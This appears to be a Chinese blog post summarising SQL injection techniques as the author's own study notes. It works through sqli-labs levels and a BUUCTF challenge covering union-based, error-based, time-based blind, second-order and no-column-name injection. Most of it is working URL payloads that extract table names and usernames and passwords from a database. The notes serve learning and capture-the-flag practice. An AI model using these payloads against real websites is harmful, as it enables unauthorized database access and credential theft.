sql注入总结

目录

什么是sql注入

SQL注入介绍

SQL注入分类

联合查询

判断注入点和注入类型

查库名,查列数

查表名

查列名

报错注入

查库名 updatexml函数

查表名 extractvalue函数

查列名 floor函数

查数据

二次注入-

无列名注入


什么是sql注入

通过在应用程序的输入字段中插入恶意的SQL代码来操纵或欺骗后端数据库执行非授权操作

SQL注入介绍

攻击者注入一段包含注释符的SQL语句,将原来的语句的一部分注释,注
释掉的部分语句不会被执行

上面注入位置在‘ ’中,输入

会变成'id=1' 注入语句-- '用‘补全前面的单引号,再用--+注释掉后面包括单引号的语句确保注入语句正常运行不会报错

也可以在后面加单引号,补全单引号。rfc-1738标准中+会被空格替代

同样的注释符号还有//  /**/ 

#井号不能被识别,需要编码

SQL注入分类

传参方式分为三种:url中的GET型传参,如?id=1

                                 from表单中的post传参

                                  HTTP请求头部字段如Cookie值

SQL注入种类:联合查询,报错注入,布尔盲注,时间盲注,二次注入等

联合查询

以less-1为例

判断注入点和注入类型

查库名,查列数

select 1,2,3 ---- id查询不到时查询2,3回显

查表名

?id=-1%27%20union%20select%201,2,table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27--+                          --个人错误,这里缺少group_concat,                                                                                                     只能查询到最后一条数据

?id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27--+

查列名

和查询表名同理

?id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27--+(个人错误没写数据库名,查询的结果过多)

?id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27--+

查数据

?id=-1%27%20union%20select%201,2,group_concat(id,username,password)%20from%20users--+

报错注入

less-5

查库名 updatexml函数

查表名 extractvalue函数

?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),0x7e))--+                     

查列名 floor函数

?id=1%27%20and%20(select 1 from(select count(*),concat((select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema='security'),floor(rand(0)*2))x from information_schema.columns group by x)a)--+

查数据

and ST_LatFromGeoHash(concat(0x7e,(select group_concat(id,username,password)from users),0x7e))--+

步骤求闭合字符---求当前数据库名长度---求当前数据库名对应的ASCII值---求表的数量---求表名长度---求表名对应的ASCII值---求列的数量---求列名长度---求列名对应的ASCII值---求字段的数量---求字段名长度---求字段名对应的ASCII值

less-9(时间)

?id=1"%20and%20if(1,sleep(10),0)--+        //如果1正确,暂停10秒否则立即执行

/?id=1%27%20and%20if(length(database())>4,sleep(10),0)--+  //判断长度

?id=1%27%20and%20if(ascii(substr((select%20database()),1,1))>100,sleep(10),0)--+    //判断ASCII数值

?id=1%27%20and%20if(count(select group_concat(table_name) from information_schema.tables where table_schema='security')>3,sleep(10),0)--+                  //个人错误

?id=1%27%20and%20if((select count(table_name) from information_schema.tables where table_schema='security')>3,sleep(10),0)--+                 //求表数量

?id=1%27%20and%20if(ascii(substr((select%20group_concat(table_name)from information_schema.tables where table_schema='security' limit 0,1),1,1))>100,sleep(10),0)--+ //表名对应的ASCII值,之后同上

二次注入-

以buuoctf中的unfinish为例

有限制,前面的几种方式都尝试过了,没办法,用工具试试扫描出注册页面

在注册界面使用注入,发现nonono注册不成功具体过滤掉什么用字典测试一下

发现单引号,逗号,information,返回200,但是单引号没有返回nonono所以单引号可以用

直接注入不行,

猜想可能是('email' 'username' 'paeeword')的形式构造,a' select database() '1'='1不能注册,还16进制

0'+(select hex(database()))+'0

解码后为web

无列名注入

 通过系统关键字 join 可建立两表之间的内连接,通过对想要查询列名所在的表与其自身

?id=-1' union select * from (select * from users as a join users b)c--+

using(id)

?id=-1' union select * from (select * from users as a join users b using(id))c--+

  • 19
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值